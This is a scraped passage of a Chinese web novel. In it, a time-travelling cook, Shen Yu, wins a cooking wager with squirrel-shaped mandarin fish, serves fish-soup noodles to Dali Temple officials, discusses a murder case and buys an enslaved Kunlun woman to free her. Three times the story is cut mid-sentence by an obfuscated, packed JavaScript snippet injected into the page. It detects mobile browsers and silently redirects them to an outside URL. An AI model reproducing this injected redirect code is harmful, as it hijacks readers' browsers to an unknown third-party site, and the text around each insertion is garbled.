好不容易到了，沈鱼立马被带到后厨，惠儿留了下来照看，耿嬷嬷去回禀夫人。 7. 松鼠桂鱼 这是邱府的大厨房，是位姓王的主厨在主事，王主厨倒八字眉，三角眼，膘肥体壮看着很不好相与。 沈鱼和他打了个招呼，王主厨淡淡应了声，拨了两个学徒和沈鱼学做酸枣糕。 两个学徒都是男的，这倒方便了待会儿做酸枣糕时费力气的活计。 开头步骤不学也会，将酸枣煮熟，剥皮去壳。邱府的条件可比沈鱼家中好的多，酸枣个大饱满，剥皮时还有布手套。 剥皮是件无聊事，惠儿也来帮忙，两个人有一搭没一搭地闲聊了起来。 “我家郎君是最疼娘子的，有什么好东西都想着她。” 惠儿低头，“外人总说我家郎君风流成性，整日里流连秦楼楚馆，其实才不是呢，那些都只是必要的应酬罢了，在家中可是只有我们娘子一个，是半个妾室也无。” 沈鱼只是笑笑，并不说什么。这邱裕的花名她在崇安坊也听说过些，原以为是个浪荡公子，如今听惠儿这么一说，倒是有些改观，流言害死人呀！ “老太太也和善，不给我家娘子气受，我家娘子想吃这酸枣糕，老太太就让耿嬷嬷来买方子了。” 沈鱼发现惠儿对这府里的所有主子都有着很厚的滤镜，在她眼里都是大好人。 四人一块儿忙活，枣子很快被剥皮去核。待到处理枣泥这步，沈鱼就知道了邱府的厨子为什么做不出这个味了。 两个小学徒只是随意拿擀面杖捣了捣，便打算加糖。沈鱼忙阻止，告诉他们怎样做。 “枣泥要捏地软烂了，黏性没有那么强……” 王大厨本支着张躺椅在厨房外，听见这话才正色看沈鱼。 沈鱼做这酸枣糕其实也没别的秘方，只是往里加了一点桂花和蜂蜜，还都是和系统兑的。邱家自然不用担心这个问题，地窖里多得是桂花蜜。 王大厨慢慢喝完了最后一口茶，才悠悠地进到厨房里准备午食。 沈鱼在大锅前占了他的位置，见状移开位置，王大厨转身去了另一个灶前。 有前院的过来传话，说是有客到，叫多准备些吃食。 王大厨不愧是大厨，道声知道了便从容不迫地做了起来，炖鸡汤，焖猪肉，有条不紊。 沈鱼眼馋，默默偷看。在她看来王大厨粗中有细，方才一道芙蓉豆腐，火候掌握得极妙。 王大厨有二厨帮衬一口气做了，蓬蒿菜，素烧鹅，玉带虾仁，红煨猪肉等几道菜。 菜的做法与沈鱼后世所见大差不差，只是少了许多调料。 做好了菜送到前厅，二厨却叹了气，“这待客不是问题，老太太那儿却不好办呀。” 提起这事王大厨也是皱紧了眉头。 惠儿在一旁解惑，低声道，“老太太酷爱食鱼，底下人鲤鱼，鲫鱼和桂鱼都送来了不少，但鱼又多刺，不好处理。” 若仅因为鱼刺，尽可选无刺的鱼，方才提到的桂鱼便是，沈鱼觉得没这么简单。 惠儿悄悄瞥了眼王大厨，与沈鱼耳语道，“老太太是南方嫁来的，爱酸甜口，王大厨做的菜不合口味。” 沈鱼了然，从方才王大厨做的菜她就看出来了，他是个地道的北方厨子。 王大厨冷眼看过来，“用不着低声议论，我做的菜不合老太太口味又不是第一天了。” 惠儿不好意思地吐吐舌头，躲到沈鱼身后，眼珠一转，天真问道，“沈姐姐，你会不会做南方菜呀？” 沈鱼尴尬笑笑，但惠儿大眼睛目光炯炯，身体反应比脑子快，她点了点头。 王大厨肉眼可见的不悦了，二厨更是斜眼看她，“就你这么个小娘子，能做糕点便足矣，会做什么像样的菜？” 连着被两人小看，沈鱼也生了些气性出来，“师傅可不要小瞧人，南菜里，不论你听没听说过的，我都能做。” “你这小娘子口气倒大，年纪还不到二十吧，便敢说自己会天下南菜？当真是牛皮吹破了天。”二厨嗤笑道。 惠儿也扯扯沈鱼袖子，这二厨是管家外甥，不好得罪，她是一时兴起，让沈鱼丢脸不是她本意。 沈鱼前世是南方人，学的都是南方菜系，不过后世交通信息发达，也不拘什么南北方菜了。 “我便做上一道，请王师傅来评判，若是尚可，那么那只鹅便归我了。”沈鱼指着灶案上那只拔了毛的大鹅，她馋鹅肉许久了，只是太贵，一直没舍得买。 沈鱼又从怀里拿了十两银子的银票出来，“若是不成，那这十两银子，就归您了。” 二厨看见那十两银票眼睛都直了，他一个月月俸才不过五两，登时就想答应，不过还是存了思理智，过问了句王大厨，这大厨房一切都要经过他的同意。 王大厨眯着眼打量了下沈鱼，“和她赌。”一只鹅他还是做的了主的。 二厨喜不自胜，还给沈鱼定了题目，“只能做鱼。”南菜做鱼非常考验厨艺，他料定沈鱼不会，即使会也学艺不精。 惠儿为沈鱼说话，“你怎么能定题？” 沈鱼拉住了惠儿，轻轻摇头，“好，就做鱼。” “沈姐姐，对不起。”惠儿内心愧疚。 沈鱼摸摸她的头，笑了笑，“没事！” 沈鱼的酸枣糕也到了尾声，便系上围裙，王大厨给她让位。有桂鱼，老太太又喜欢酸甜口，几乎不用怎么思考，沈鱼就想好了做什么。 有一道极有名的苏菜，传世百年，名叫松鼠桂鱼。 沈鱼从鱼篓里抓了条桂鱼，熟练刮鳞杀鱼，又备了些玉米粒，豌豆和松子仁。 桂鱼洗净，切去鱼头，从中心切开但不切断鱼尾，除去鱼骨。鱼肉切花刀，沈鱼刀工娴熟，几息之间就切完了鱼，且刀刀不伤鱼皮。 王大厨一瞧沈鱼的架势便暗叫不好，他主厨多年，一个人厨艺如何，他看几眼就明了。 二厨看出来了她要做什么菜，嘲道，“松鼠桂鱼可没那么好做，可别松鼠变老鼠呀！” 沈鱼没理会他的阴阳怪气，继续做自己的事，磕了个鸡蛋只取蛋黄拌入切好的鱼肉，加入少许盐腌制，再放入淀粉中均匀裹上淀粉。 裹淀粉细致的一步，需边边角角都不能遗漏，否则下油锅炸时，鱼肉会失了水分。 接下来便是重头戏了，定型。 沈鱼先热油，这时没有温度计，试油温只用筷子，待筷子伸入，周围都冒起细密小泡时，油温才适宜，可以下锅炸了。 她提着鱼肉和鱼尾，弯成一个漂亮的弧度， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981876|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢慢放下油锅。这一步不能借助工具，只考验厨师的技巧和手稳不稳。 看着简单，胆大心细手稳缺一不可。 定型无需太长时间，沈鱼在心底读秒，约莫四十五秒便成了，定型后提着鱼尾复炸半分钟，如此便是完全定型了。 但这只是定型，鱼肉还没熟，还需再炸三分钟左右，且这时放入鱼头。 二厨看着沈鱼的操作，心底也越来越慌，安慰自己，沈鱼只是样子做的好看，不一定好吃。 沈鱼趁这会儿功夫，炒了个糖色，两勺白糖放入锅中，煮至微微冒泡，等上一会儿就有漂亮的糖色显现，在加入醋，调出糖醋酱，盛在小碗中备用。 这时鱼也炸好了，用爪篱捞出，锅中下少许油，将糖醋酱，方才的小料一起翻炒，加清水熬煮浓稠。 焦糖混着醋香呈现诱人的焦褐色，鱼肉香气更是让人垂涎欲滴。 做好的料汁往鱼上一浇，糖醋顺着炸好的缝隙流向桂鱼的每一个角落。 桂鱼也炸的尤其漂亮，状如松果，条理清晰，又有豌豆点缀，红绿相间，可谓色香味俱全。 大厨房里的人无一不被这道菜惊艳。二厨更是口水都快留下来了。 王大厨也有些佩服这个小娘子了，他刚才特地观察了，这小娘子炸鱼时鱼肉没有掉下来一点，可见其刀工非同一般。 王大厨面冷心热，对着二厨道，“你输了。” 二厨不服，“还没尝呢，说不定，说不定……味道不怎么样！”他说这话也没底气。 王大厨郑重道，“不必尝，我给她打包票。”那一手调酱的本事，没有五年，决计不成的，他此时倒是有些好奇，这娘子小小年纪，哪里学来这高深厨艺。 沈鱼猜到他会疑惑，微微一笑，“家传而已。”她随口一说，也不觉得王大厨会去查她身世。 王大厨用提篮给沈鱼装了那只鹅，又送了她几条鲫鱼，“这些也一并送娘子了。” 白得了提篮和鲫鱼，沈鱼自是欢喜。 她在邱府的工作完成了，惠儿送她出门，而那盘松鼠桂鱼自然是被送到了邱府老太太桌上。 据惠儿后来所说，老太太吃着吃着便哭了，忆起当年未嫁时，还赏赐了厨房好多东西。 沈鱼也不贪心，只得自己该得的。 惠儿送沈鱼出去，“沈姐姐真是厉害。” “只是凑巧。”沈鱼自谦。 邱府很大，穿过一个月亮门，在走完抄手游廊才算到了外院，出来时，沈鱼看见了几个穿着武侯衣服的官兵。 这邱府客人上门做客，怎还带着兵丁。 沈鱼不解，却也不敢多问，左右与她无关。 惠儿送沈鱼到府门口便回转了，沈鱼挎着鹅与她告别，一回头看见陌生的街道有些懵圈。 来时是坐着马车，根本没观察来路，沈鱼自穿来就只在崇安坊活动，没来过隆义坊，一出来其实是抓瞎的。 沈鱼非常不愿意承认，她找不到回家的路了。 可要是回去找惠儿，会不会很丢人？ “沈娘子？”有几分熟悉的声音传来。 沈鱼回眸看见了江砚白与黎辞舟，心头一喜。 救星来了！ 8. 鲫鱼汤面 邱钰与田元武生前交情不错。 田元武是教坊青楼的常客，邱钰便是其中一个酒友。 江砚白与黎辞舟来例行询问，只是想从田元武这些酒友口中得知些线索，邱钰是他们找的第三个人了。 可惜收效甚微，没多少对破案有用的。 黎辞舟恼着向江砚白吐苦水，“砚白啊砚白，这邱钰也不知道什么，查到什么时候才是头呀！” 江砚白没理会他，黎辞舟这人就是这样，话痨，嘴上抱怨不停，做事却不会马虎，但就因为他这张碎嘴，整个大理寺也就江砚白受得了他。 两人并行到了门前，江砚白忽止住了脚步，望向前方。 黎辞舟也看到了人，带着不确定的语气问，“沈娘子？” 沈鱼回头，粲然一笑，笑意盈盈揉了春水，就是腕上挎着的提篮有些不和谐的滑稽，里头的大鹅翘起脚蹼。 “江少卿，黎大人。”沈鱼欠身见礼。 黎辞舟自那日买了饭团后，便时常去光顾沈鱼的摊子，他那张娃娃脸极有标志性，一来二去，与沈鱼也是熟稔。 “沈娘子来邱府做甚？”黎辞舟奇怪，这挎着提篮，倒像是来买菜。 沈鱼低头看了眼篮子，解释道，“邱府请我来做些吃食，这是我的酬劳。” 黎辞舟自然而然以为错过了顿美味，“唉，早知今日午膳是沈娘子做的，我就不推辞了。” 沈鱼被他逗笑，“午膳并非我做的，我只是与他家老太太做了道菜，他家娘子有孕在身，喜欢我做的酸枣糕罢了。” 江砚白闻言神情微变。 “这么巧吗，邱钰的夫人也有孕？”黎辞舟大大咧咧道。 沈鱼没多想问道，“还有谁也有孕吗？”话一出口，她便想起了近来关于永兴侯世子的传闻。 江砚白虽竭力将事情压住，可世上哪有不透风的墙，越来越多风言风语说田元武死于马上风。 但世人大多都唾弃这个死在女人肚皮上的，可怜那大着肚子的永兴侯世子夫人。 江砚白抬手搭在黎辞舟肩上，“走了。” 黎辞舟也不好再说下去，只得向沈鱼告辞。 沈鱼怎么会这么轻易让这两个人肉导航走了，“两位大人往哪里去呀？” 黎辞舟回道，“回大理寺。” 沈鱼笑吟吟道，“正好顺路，能一道走吗？” 沈鱼本不想说出自己迷路的事实，可看到江砚白又改变了主意。 她不好意思道，“实则是我未来过隆义坊，这一时还真不知如何回去，还请两位大人发发善心。” 沈鱼声如银铃，这般柔柔一求，任谁都得软了心肠。 黎辞舟瞄了一眼江砚白，江砚白顿了顿，白玉的脸上没有什么表情，“一起走吧。” 沈鱼其实没怎么近距离观察过江砚白，两次都有别的事情打岔。那身浅绯色官服尤衬其肤色，当真郎艳独绝，仙客皮囊。 就是这性子太冷了些，不好接近。 江砚白的满意值，没那么好赚呀！ 黎辞舟比江砚白识趣多了，见沈鱼提这重物，还让身后的武侯帮她拿了。 沈鱼调侃道，“可算是知道黎大人是怎么娶到你家夫人的了。” 黎辞舟淡笑，“沈娘子这可猜错了，如今这样才是全赖我夫人的教导。” 黎辞舟待人和善，却很有分寸，“我家夫人很是爱吃你做的糕点呢，几乎每日都会打发小厮去买，就是沈娘子做得少了些。” 沈鱼淡然接受黎辞舟的夸赞，也没往心里去，一路上这位黎大人嘴巴不停，沈鱼渐渐有些招架不住。 偏旁边的江砚白像个没事人似的，似乎自动隔绝了声音。 道旁树木稀盛，偶有蝉虫声声作响，夏已悄悄到来。拂面的风带着温热水汽，暖洋洋的，远处的棉布招牌写着“沈记”二字，正随着暖风四向飘扬。 江砚白几人将人送到便要作别。 此时正值午休，沈鱼适时提出要请他们吃午膳，算是送她回来的谢礼。 黎辞舟自然满口答应，武侯们忙了一上午也有些疲累，江砚白不好拂了他们的意，也一并走入店中。 沈鱼上了茶水点心，请他们稍后，有个武侯小杨自告奋勇帮沈鱼烧灶，沈鱼也没推辞。 小杨往炉膛里塞着柴火，“沈娘子是打算做什么呀？” 沈鱼言笑晏晏，“做个鱼汤面。” 王大厨送的几条鲫鱼正好用上，鲫鱼熬鱼汤是最好的。 她手起刀落，刮鳞剖腹，将鱼处理得干干净净。随后挖了块猪油下锅化开，将鲫鱼下入锅中。 猪油煎起鱼肉，香味霎地迸发出来，鱼肉鲜香与猪肉香交杂，再香不过了。 小杨叹道，眼神不住地往锅里瞟，“这鱼煎起来也太香了吧，一会儿我们有口福了。” 沈鱼还让他烧了个炉子，里面煮了一锅开水，小杨问，“您煮开水做什么？” 沈鱼卖了个关子，“稍后你就知道了。” 做鱼汤吃得就是一个鲜，几乎不用加其他调料，几片生姜去腥，将鲫鱼用炒勺碾至碎末，翻炒些许时辰至微焦色，加入一锅滚烫滚烫的开水，再放入些料酒去腥。 只有开水才能激出这鱼的全部鲜味，等上两刻钟，鱼汤就变得奶白奶白，浓稠的不得了，香味登时四散。 堂前只有几个武侯零星的说话声，和黎辞舟不停的话语，不算十分热闹，这香气飘来，如同冷水入了热油锅，砰地溅起炸开了。 “好香啊！” “这是鱼肉香吗？怎得我家做鱼没有这个香味！” “沈娘子做的自然于家中不同，香煞人了！” 沈鱼用纱布过滤鱼汤，这样细碎的鱼肉渣子便都被过滤掉了，再加入适量盐，奶白鲜香的鱼汤就做好了。 面条是一早就备下的，沈鱼原本打算研究些新吃食，现在正好用上，她怕外面人不够吃，趁着炖煮鱼汤的功夫又做了些，反正有江砚白在，她都是不会亏的。 待鱼汤好了，面也差不多了。烫熟的面条，就这么径直丢入鱼汤中，鱼汤没过面条，让每一根面条都吸饱汤汁，碗中没有一丝杂色，一片奶白。 小杨口水都咽了几轮，还要忍着馋给外面人端去。 沈鱼拿着锅勺，擦了擦额头的汗，“给你留一碗最大的。” 小杨笑逐颜开，端着面出去，却登时愣住了。 堂前不知何时多了许多人，屋里桌椅不多，有些人只得站着。不用问，都是被这鱼汤的香味勾来的。 连着小杨在内一共四个武侯，沈鱼做了十几碗的量，想着拿去送些给邻里。 灶间有些热， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981877|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈鱼两颊染上了红晕，洗了条汗巾擦汗，随手搭在肩上出去，也被外头的人群惊呆了。 有个熟客道，“沈娘子做的什么，这么香？” 沈鱼回道，“普通的鱼汤面罢了。” 恰好这时有个武侯大吃一口面，高声道，“好鲜！” 其他吃了面的众人也纷纷赞叹，“简直鲜掉了舌头。” “我从不知鱼汤能这么鲜！” 此起彼伏的赞叹声更是勾地没吃到的人心痒难耐，都叫嚷着要鱼汤面吃。 沈鱼只能推辞，“这是特意做了请几位大人吃的，实在没有多的了。”没办法，她虽然有备几碗剩余，可这么多人，她卖给哪个都不好，只能推说没有。 没买到的人自然失望，只是武侯在此再大的怒火也只得压下。 “沈娘子何时再做这鱼汤面呢？定个时辰，我好来吃。”这是个不死心又机灵的。 “对呀，沈娘子说个时辰。” 沈鱼徐徐一摆手，示意大家安静，“再过几日，沈记食肆就开张了，到时食肆菜单上不会少了这道鱼汤面的。” 沈鱼给了准信，众人心里有了底也不再纠缠。 江砚白透过人群看她，沈鱼落落大方，从容不迫，好似什么事情到她手里都再简单不过。 上一次赵丞的事，他为她解决了当下的麻烦，但难免赵丞怀恨在心，而她却用自己的方法了结了以后的麻烦。 江砚白低头吃面，动作再随意不过，却在面入口中时一顿。 他尝到了“鲜”。 准确来说是咸味加上甜味，而且比上一次尝到的味道重一些。 这太奇怪了，第三次了，一次两次是巧合，第三次再说是巧合就有点说不过去了。 江砚白心头滋生出了疑窦，虽觉得不可思议，可还是忍不住怀疑。 他慢条斯理地喝着鱼汤，做了一个决定。 黎辞舟大快朵颐，看见一旁面无表情喝汤的江砚白，低声感慨，“这汤真是人间美味，可惜砚白你……”当时江砚白中毒他就在一旁，也是他送人去丰敬拿了，是为数不多的知道江砚白失去味觉的人。 江砚白隐去眼底的喜色，黎辞舟这人藏不住话，还是先不告诉他为好。 沈鱼恰巧靠近，即使黎辞舟的声音很低，她还是听见了一些。 可惜，可惜什么？ 江砚白圣眷正浓，前途无量，有什么好可惜的？ 而且黎辞舟为什么要边喝汤边道可惜。 沈鱼压住了自己的好奇心，不再去想。 “沈娘子，当真没有了吗？我还想给我家夫人带去些呢。” 沈鱼眯眼一笑，悄悄道，“还是有的，黎大人若真想要送与夫人，晚间我用食盒装了送去府上，保管夫人喝上时还热腾腾的。” 黎辞舟一拱手，“那就多谢沈娘子啦，哦不，马上要称沈掌柜了！” 他又从怀里摸了钱袋打算付钱，沈鱼也不和他客气，摊开手掌，“呈惠十文钱。” 黎辞舟爽快地付了钱。 说起食盒，沈鱼突然对一旁的江砚白道，“江少卿打算什么时候将食盒还给我。” 江砚白一愣，“还未送还沈娘子吗？” 黎辞舟凑热闹，眼底含了些调笑的意味，“砚白，你什么时候拿了沈娘子食盒？” 9. 昆仑女人（捉虫） 那日江明禹吃完了点心就将食盒放在了一旁，只对自己母亲提了句，把食盒给江砚白送去。 这是送给江砚白的东西，江明禹自然认为江砚白会把食盒送回。 但葛涵双管着府里的大小事务，一忙起来，就给忘了。 而江砚白以为江明禹把食盒已经送回去了，便没有再留心。 没想到两人这么相互误会，竟是谁也没有把食盒送回来，白白耽搁了这么久。 江砚白很快想明白了其中关窍，对沈鱼抱歉道，“明日一定送来。” 沈鱼抬眼，“江少卿不必如此客气，我与江小郎君说了，若是府中不便上门拿也行的，许是他忘了。” “嗯，他确实忘了。”江砚白不着痕迹将锅全推给了自家侄子。 黎辞舟悠闲喝着鱼汤，难得清净，笑看这两人互动，这可比查案有意思。 只是两人很快就不说话了，黎辞舟没了乐趣，没话找话道，“唉，午间还得接着查案，可没沈娘子这鱼汤喝喽！” 沈鱼对这个案子也是存了几分好奇的，“永兴侯府的案子很棘手吗？” 黎辞舟抓住机会与她诉苦，“何止是棘手呀，简直没有丝毫头绪，这些天我与砚白腿都快跑断了，还是没什么线索。” 沈鱼向他打听，“坊间有传闻，道永兴侯世子是死在他小妾房里的。”她话说得隐秘，对面两人都是人精自然听懂了的。 江砚白轻咳了两声，“坊间传闻，不可尽信。” 沈鱼立马回了个了然的眼神。 黎辞舟更是直接道，“田元武断不可能死于传言所说。” 用词是“不可能”，而不是“不是”，沈鱼便有些不解了，没多想问道，“为何不可能，难不成他是个太监。” 黎辞舟闻言一口鱼汤喷出，江砚白还算淡定，只是有些抓不稳调羹。 两人实在没想到，沈鱼如此语出惊人。 不过倒是很接近事情的真相了。 沈鱼一时忘了这是古代，歉意笑笑，“不好意思，是我胡吣了。” “想来也不可能，那永兴侯世子还有个庶长子呢。” 黎辞舟正想岔开话题，江砚白却忽然开口，抬眸望着沈鱼，“若真如沈娘子所说呢？” 沈鱼眼睛慢慢睁大，觉得这句话信息量好大。 江砚白这么说，定是有些真凭实据，只是不好明说。 她这几天也听了不少传闻，说什么田元武是个十足十的纨绔，窑姐儿戏子相好众多，娶了妻后也不曾收敛反而变本加厉，永兴侯世子夫人入府五年未曾有身孕，是急坏了永兴侯老夫人。 永兴侯夫妇就这么一个独子，全指望着他传宗接代。本来这种勋爵世家，即使是纳妾也不会选戏子，要不是为着那戏子肚子里那块肉，是怎么也不会让人进府的。 五年过去，永兴侯世子夫人彭氏总算有了好消息，本以为苦尽甘来，丈夫却一朝殒命，当真命苦。 彭氏是当朝太学博士的女儿，彭大人家风甚严，其女可能不守妇道吗？ 沈鱼想不通，莫非也是传言所误？ “两位大人可曾见过世子夫人？她性情如何？” 江砚白与黎辞舟同时都想到了那个秀美的女子，当时她掩面而泣肝肠寸断，却因着腹中的孩子强打起精神，掷地有声地说要找出杀害她丈夫的凶手。 “世子夫人是个大家闺秀。” 若不是后来的证据确凿，江砚白也不愿意怀疑她。 沈鱼沉思，如果那田元武真是个太监，永兴侯夫妇显然是不知情的，不然也不会让那妾室进门，那彭氏清楚吗？若知情，那她怎么敢有孕？或者说，田元武知道彭氏怀的不是他的孩子。 对了，田元武知道！ 沈鱼忽然想通了，田元武想借种。 这样一来，彭氏的嫌疑更大了。可若彭氏对田元武的身体状况不知情呢，那样事情就更奇怪了，但是，有这个可能吗？ 有可能的，这时候的大家闺秀对男女之事都了解甚少，若是田元武这般的风月老手使上一些手段，极容易糊弄过去。 不过这些都是猜测，沈鱼毕竟没见过人，摇着头说了句，“太过循规蹈矩的大家闺秀，也不是什么都懂。” 黎辞舟没听懂，“什么？” 沈鱼笑笑，“没什么，有些感慨罢了。” 江砚白却说，“沈娘子说的对。” 他拍了下黎辞舟的手腕，“走了。” 黎辞舟苦笑，知道案子还得继续办。 几人吃饱喝足纷纷向沈鱼告辞，沈鱼笑着与他们道别，开始收拾碗筷。 午间的太阳有些灼热，晒得人睁不开眼。 沈鱼借了个斗笠出了门，手里有了三十两启动资金，又放了话出去，这食肆自然要开起来了。 她边走边问来到了西街的胡市，这是盛京最繁茂的市场了，里头的东西也贵得很。 沈鱼一路过去，有不少商人推荐着自己的货物，香料，毛皮，牲畜鳞次栉比，有几个还是眼窝深邃的黄胡子。 大齐幅员辽阔，往北有苦寒之地，名曰昆仑，有行脚商人曾到过那里，说那里的人，颧骨高突，额面宽阔，肤色黝黑，发似火烧，似茅草，壮如山，力如牛，着兽皮，不言人语。 后来有博学者解惑，大家才知道只是人种不同，那些也是人，那里的物资富饶远不如大齐，只是盛产皮革香料。 几十年前，先帝遣使节北上，自此两个国家互通有无。只是几年前，有奸猾商人不知怎得想到了买卖人口，昆仑人未开智，却力大如牛，用来当个劳力抵得上四五个人。 很快昆仑人成了市场上的热销，不过由于价格昂贵，在贵族中最是盛行，后来商人们还给这些人取了个名字——昆仑奴。 更有世家纨绔把豢养昆仑奴作为世家豪门的象征，不少有头有脸的人家里都养着不少昆仑奴。 以至于上行下效，时下豢养昆仑奴成了一种风气，有钱的富商常买许多回去充门面。 沈鱼此行是想淘换些时兴小玩意，到时候好摆在店里也算喜庆。 这逛完一圈手里多了几样东西，回程时便遇见了正被贩卖的昆仑奴。 这些昆仑奴一字排开跪在地上，前面一根麻绳与大街隔开，昆仑奴的手上脚上都带着铁镣铐。 一个管事模样的拿着条马鞭，正搓着手与人交易，“这样吧，您给三十两，这两个连同旁边那个女的我一并给你。” 买人的瞧了眼那个女昆仑奴，“算了吧，那么瘦弱，带回去没什么用，还不够饭钱呢，说好二十五两就是二十五两。”说完他带着人就走了。 管事的没赚到心仪的价，火都朝着那个女昆仑奴发去，甩起手上马鞭，“你个赔钱货，都不知道那堆人把你弄来干什么！” 鞭子一下一下落在那个女人身上，皮开肉绽，那女人咬紧牙关，一声不吭。 那管事也只是泄气，知道打坏了就更卖不上价了，也就歇了。 沈鱼看得直皱眉，这是第一次直面古代的残忍。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981878|177965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她悄悄朝那个女人走近，低声说了句什么。 然后沈鱼在这帮昆仑奴面前走动，管事果然上前来问，“小娘子看看货。” “嗯，我随意看看。”沈鱼背着手走了几圈。 她语气不好，半是嫌弃地说，“这些怎么都这个模样，不好，不好。” 管事的陪笑道，“昆仑奴嘛，力气大能看家就行，要好看的相貌做什么。” 沈鱼撇撇嘴，不悦道，“不，我家下人没有一个不好看的，唉，那就……她吧，长得还算顺眼。” 沈鱼随手一指，选中了那个女昆仑奴。 管事的一笑，正好把这麻烦脱手，看沈鱼面嫩，以为是哪家跑出来的千金小姐，“这样吧，她是个女的，价低些，十两带走。” 沈鱼可没那么好糊弄，“欸，这位管事，刚才我看您只卖五两，怎么到我这翻倍了！” 管事解释，“那是人家买了两个，自然便宜些。” 沈鱼双手叉腰，做出个娇惯样，“我不管，你给我便宜些。” 管家也不想得罪这娇小姐，装作很为难的样子，“那就七两吧，小娘子，不能再少了。” 沈鱼才笑了，“这才对嘛！” 她从怀里掏出银子，眼看正要交给那管事时，变故突生。 那女昆仑奴忽然直直向后倒了下去。 沈鱼立即高声道，“呀，怎么晕了，别是不好了吧，我不买了，不买了。”说着便要离开。 管事连忙把人拉住，这可不能赔手里呀，咬了咬牙道，“小娘子别走呀，她就是晒晕了，不妨事的，五两，不！四两，四两卖给你。” 沈鱼低头摸摸下巴，“当真只是晒晕的？” 管事笑得灿烂，说谎面不改色，“真的，真的，在这做了许多年生意了，能诓您不成。” “那好吧。”沈鱼答应了。 那管事契书签得飞快，解开了那女人身上禁锢，生怕沈鱼反悔，把银子往怀里一揣，契书塞给沈鱼。 沈鱼慢悠悠走到那个女人旁边，露出一个笑来。 她声音温柔，“我把你买下了，跟我走吧。” 那女昆仑奴睁开一双黑白分明的眼睛，也有了笑意。 沈鱼扶她缓缓起身，她方才也只是赌一赌，幸好这昆仑女人听得懂大齐话。 那会儿沈鱼只说了一句，“待会儿我掏银子的时候，马上装晕，我带你走。” 沈鱼托着她的腰，“你还得装一会，被那管事的发觉我们在耍他就不好了。” 昆仑女人点点头，做出副虚弱模样。待走远了些，确定那管事的看不到后，沈鱼才将人放开。 “你叫什么名字呀？” 昆仑女人听得懂汉话确不会说。只拿手比划着，沈鱼看不懂放弃交流。 沈鱼怀里时常放着些糕点，递了些给她。女人放入口中，笑意渐渐弥漫，眼睛亮晶晶地看着沈鱼，似乎从来没吃过这么好吃的东西。 “我给你重新起一个吧，叫阿莓怎么样，草莓的莓。”沈鱼是个起名废，想到自己最喜欢吃草莓就随口起了。 阿莓点头如捣蒜，虽然不知道草莓是什么东西，但跟着沈鱼是没错的。 买了阿莓回来后，砍柴挑水都被她承包了，沈鱼也试着教她说了些简单的话。 阿莓很聪明，很快就会了些简单的语句。她看着比那些男子瘦一些，大概是种族天赋，她力气很大。 沈鱼做着费力的事情，她都不费吹灰之力，沈鱼觉得自己是捡了个宝。 10. 铁锅炖大鹅 江砚白问起那只食盒，葛涵双一拍脑袋才想起来，赶紧把东西交给了他。 这只食盒样式简单，上面没什么花纹，只右下角刻着个娟秀的沈字。 葛涵双察觉到了一丝不对劲，“你对只普通的食盒那么在意做什么？” 江砚白提着食盒，“人家的东西总不好不还。” 葛涵双还是觉得没那么简单，叫来了儿子。 “知道是谁送吃食给你叔父的吗？” 江明禹老实回答，“知道呀，是沈娘子送的。” “是个什么年岁的娘子？”葛涵双有些激动，这么些年，江砚白身边总算出现个女子了。 江明禹笑道，“应该比娘小几岁，沈娘子可温柔了。”葛涵双总逼着他练字，小少年内心觉得那笑起来好看的沈娘子温柔多了。 葛涵双抬手轻点了下他的小脑袋，“详细说说怎么回事。” 自家小叔的婚事可是周氏的头等心病，过完年江砚白就二十二了，如他一般年岁的郎君，哪个不是儿女绕膝，偏他是个例外，连个夫人也没有。 周氏一年到头总要念上几回，葛涵双作为长嫂，对江砚白的亲事总要上心，这些年也给江砚白介绍了不少闺秀，可他倒好，十次有九次人没影了。 每回都说查案去了，他既这么说了，周氏和葛涵双也不好苛责他，毕竟哪能拦着江少卿为民除害嘛！ 周氏也不愿强求于他，只一年里提上几次，江砚白自有应对之法，说是家中小辈已经有了江明禹，不用担心无后。 周氏又明里暗里说想抱孙儿了，江砚白说让葛涵双再生一个，婆媳俩简直要被他气死，偏他歪理众多，说不过他。 葛涵双得知了事情始末，笑意盈盈，等不及就往周氏院子里去了，可得把这个好消息告诉婆母。 江砚白自然不知道自家侄子已经把自己卖了，还在思索田元武的案子。 沈鱼的话提醒了他，田元武想借种这点是毋庸置疑的，他先前陷入了个误区，认为田元武不可能主动给自己戴帽子，是彭氏有孕，他只能顺势认下，却忽略了这事极有可能是两人合谋，或者彭氏还有不知情的可能。 田元武那边的人，还要再好好调查一下。 第二天一早，江砚白就让人把食盒送了回去，里头还有几十个银钱。 沈鱼一数，恰好是那几碗鱼汤面的钱。 阿莓凑上前来，笑嘻嘻道，“银钱。” 